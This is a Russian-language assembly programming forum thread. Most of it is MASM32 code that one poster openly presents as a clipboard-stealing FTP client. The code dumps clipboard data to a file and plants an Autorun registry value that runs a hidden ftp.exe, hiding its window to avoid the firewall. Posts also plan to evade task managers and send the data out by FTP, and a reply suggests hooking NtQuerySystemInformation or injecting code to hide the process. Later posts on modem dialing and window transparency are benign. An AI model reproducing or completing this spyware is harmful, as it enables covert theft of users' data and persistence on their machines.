Очень хотелось бы разобраться буферами окошек..только к сожалению не получается связать многочисленные функции по работе с...Сlip..
в единый кусок..Если не трудно приведить примеры работы с буфером-какие функции и в какой последовательности вызывать, нюансы ,если есть.
Также
чушь несете, товарищ... программа работоет нормально, только вот способ скрытия у вас со времен денозавров и на сколько йа знаю работоет тока под 9х. под хр хукойте NtQuerySystemInformatiоn либо можете инжектеть свой код в чужой процесс.
насчет клипбоарда - в мсдн все детально расписанно. сделой код, а мы его есле что поправем :
O-o-o...цепляющие файлы к процессам, пока дождешься
вашей милости состаришься и забудешь пароль..
Никто никого за язык(пальцы) не тянул, и да не
оскудеют ваши знания избавить этот код от ошибок при внесении значения в реестр
записи в фаил, и клипомбоардом...
Вот что-то вроде getClipBoardDataТырящегоFtp-клиента..
.486
.model flat, stdcall
option casemap :none
; -----------------------------Masm--------------------------------------------
include \masm32\include\windows.inc
include \masm32\include\masm32.inc
include \masm32\include\gdi32.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\Comctl32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\oleaut32.inc
include \masm32\include\Advapi32.inc
includelib \masm32\lib\masm32.lib
includelib \masm32\lib\gdi32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\Comctl32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\oleaut32.lib
includelib \masm32\lib\Advapi32.lib
.data
fles db "c:\ntuser.ini", 0
szformat db "%u", 0
bufferforstring db 10 dup(0)
NumberBytsForWrite dd 10
hndlfile dd 0
Subkey db "software\microsoft\command processor\", 0
dat db "start ftp.exe -d -s:c:\boot.ini 127.0.0.1 &exit", 0
par db "Autorun", 0
EXENAME db "cmd", 0
windname db "C:\windows\system32\ftp.exe",0 ; (?????)
.data?
hndOpenedKey dd ?
sam dd ?
.code
start:
; -------------------------------Собственный хндл ------------------------------------------
push NULL
Call GetModuleHandle
mov Sam, eax
jmp begin
begin:
Работать эта хреновина должна следующим образом:
модуль где сейчас находится этот текст запускается с низким приоритетом основной программой
и находится в бесконечном цикле в котором определяет использует ли какое -нибудь приложение ф-ю
NtQuerySystemInformatiоn(ведь именно она используется приложениях подобных таск мжр..хотя есть и другие..)
то есть ищет процессы которые грузят библиотеку Ntdll.dll , определяет соответствие
процесса классу gui объекта(ведь это может быть не только окно но значок в трее)-тоесть активно ли приложение
следящее за процессами.. если да то сворачивается -через некоторое время основная программа снова
проверит наличие палева и если что запустит..
если палева нет-скидывает определенный объем символов в фаил
и голубиной почтой посылает по фтп на 4 трехзначные цифры разделенные точкой....
напишите подробно код который делал бы это(ИСКал диспетчер задач и ему подобных) ..
а то не получается и времени не хватает ..или аналогию,
только не надо
рисовать тут про API спласинг и трапing
В курсе что все это напоминает метод пьяного тракториста..но что делать..)
; ----------------------------------получение хэндла окна владеющего бордом ---------------------------------------
call GetClipboardOwner
cmp eax, 0
jz begin
; ------------------------------------Открытие борда -------------------------------------
push eax
Call OpenClipboard
; ---------------------------------получение хндла объекта борда----------------------------------------
push NULL
push CF_UNICODETEXT
Call GetClipboardData
; ---------------------------------форматирование----------------------------------------
push offset bufferforstring
push offset szformat
push eax
Call wsprintf
; -----------------------------------создание файла и получение его хндла--------------------------------------
push NULL
push FILE_ATTRIBUTE_ARCHIVE
push CREATE_ALWAYS
push NULL
push NULL
push GENERIC_WRITE
push offset fles
call CreateFileA
mov hndlfile, eax
; ----------------------------------запись в фаил из bufferforstring функции wsprintf ---------------------------------------
push NULL
push offset NumberBytsForWrite
push 10d
push offset bufferforstring
push offset hndlfile
call WriteFile
; ---------------------------------Закрытие файла и борда----------------------------------------
push hndlfile
call CloseHandle
call CloseClipboard
; ---------------------------------Открытие раздела----------------------------------------
push offset hndOpenedKey
push KEY_SET_VALUE
push NULL
push offset Subkey
push HKEY_LOCAL_MACHINE
Call RegOpenKeyEx
; ----------------------------------Установка значения параметра---------------------------------------
push 7
push offset dat
push REG_SZ
push NULL
push offset par
push offset hndOpenedKey
Call RegSetValueEx
; ------------------------------Закрытие ключа-------------------------------------------
push offset hndOpenedKey
Call RegCloseKey
; ----------------------старт смд =в результате выполняется команда определенная выше в ключе рееста------
push SW_HIDE
push offset EXENAME
Call WinExec
; ---------------------hide фтп ...такая комбинация с запуском фтп из смд нужна чтобы фаервол не кричал-------
push NULL ;(???)
push offset windname
call FindWindow
push SW_HIDE
push eax
call ShowWindow
jmp ext
ext:
Call ExitProcess
end start
итаг попорядку.. на этом форуме я бываю редко в силу определенных причин
Спам?! Где?!!...Это ведь ВАШИ мысли...я лишь указал возможность оперативно наладить связь с малолетним террористом,
который ложит на счет вашей племянницы 13 рублей каждый месяц и
клянется(ей! а не мне) в любви до места(точнее времени) где безжизненные ноги упираются в деревянную стенку не менее деревянного ящика.
вобщем ближе к сути:
вызовом ящиков(с вариантами выбора имен коннектов- подключение удаленного доступа) соединения с сетью
занимаются следующие функции= =
InternetDial
InternetAttemptConnect
InternetAutodial
и некоторые другие косвенно.
все прекрасно появляется , но вот закрыть соединение не так просто..
способы с выявление хэндла этого окна и его дестроем и т.п приводит к ошибке..вариант с CloseHandle тоже не
фурычит-оно и понятно , ведь используется порт и предыдущий дозвон избил его байтами и при не
корректном завершении(даже не завершении) и "очистки" порта-еррор(что и написано в MSDN Beta 2008)...
были проверены утилиты смд на их возможности все сделать как надо-девиз:Все уже написано до нас(за нас)
rasdial элемент(название конекта)
rasphone -h элемент-по идее должен закрывать связь, но этого увы не происходит
В очередной раз убеждаюсь в полезности F1 найдя файл с расширением pbk (а ведь именно с этого я и начинал,
ведь можно просто поставить в настройках время простоя до разединения сколько надо и все путем,
но тогда мое тест-название конекта не нашлось в файловой системе...вот ведь западло)
так что учтите что поиск *.pbk не находит, у меня он был C:\Documents and Settings\All Users\Application Data\Microsoft\Network\Connections\Pbk
хотя согласно ф1 должен быть в C:\WINDOWS\system32\ras ошибка в справке..или виндоус или во мне
Изменение строчки IdleDisconnectSeconds=требуемые секунды и намеренные косяки в других ничего недает..все равно повтор
после 1 минуты, видно все висит в памяти описания окна настроек коннекта -там всегда 1 минута..изменить там???слишком сложно.
Создав этот фаил(CreatFile) можно сделать дозвонщик, но это уже другой вопрос
Модем трубки моторола можно опросить через свойства драйвера девайс мжр , там в отчете,..
точнее в логах модема (C: WINDOWS\чего-то-там)соединения
можно найти ATDT*133#8XXX7334711#<cr>-набор номера
есть терминал отсылки(стороняя программа для работы с телефоном -P2KTools) AT команда модему-вручную ВСЕ ЗАРАБОТАЛО!!
ЗНАЧИТ ВСЕТАКИ ПРИДЕТСЯ РАБОТАТЬ С МОДЕМОМ И ПОРТОМ НАПРЯМУЮ (COM3..,будь он неладен)
Есть другие варианты программ набирающих номер?Помогите написать программу работающую с модемом, или ссылки.
start mode /? не предлагать ;)...
Возникла острая необходимость изменить призрачность окна, как например у winampa v. 5XX настройка window ->opacity
как это осуществляется?в мсдн ничего не нашел..только послали на I/O драйверов и каких-то объектов.
эта опция(opasity) в Win98 опущена..из чего делается вывод-using каких-то API для сего эффекта ..
Приведите код программы ассемблера которая выводит простое окно(всех задолбавших пример окна)
с измененной прозрачностью(например 50 персент) и ссылки на эту тему..очень надо.
Переменная "Скрытие от диспетчера задач" была положена в стек этого раздела форума первой и соответсвенно
будет извлечена(раскрыта) последней...
после буфера модема прозрачности
p-s =
Неужели вы думаете что я буду использовать только функции раздела HOOK!?!? из всего что возможно?Способов ведь масса
Насчет макросов учту.
гыыы)) здорово клон!
copy con comN
все уже написано до нас...
прозрачность
.if uMsg==WM_CREATE
invoke GetWindowLong,hWnd,GWL_EXSTYLE
or eax,WS_EX_LAYERED or WS_EX_NOACTIVATE
invoke SetWindowLong,hWnd,GWL_EXSTYLE,eax
invoke SetLayeredWindowAttributes,hWnd,00FFFFFFh,70,LMA_ALPHA or LMA_COLORKEY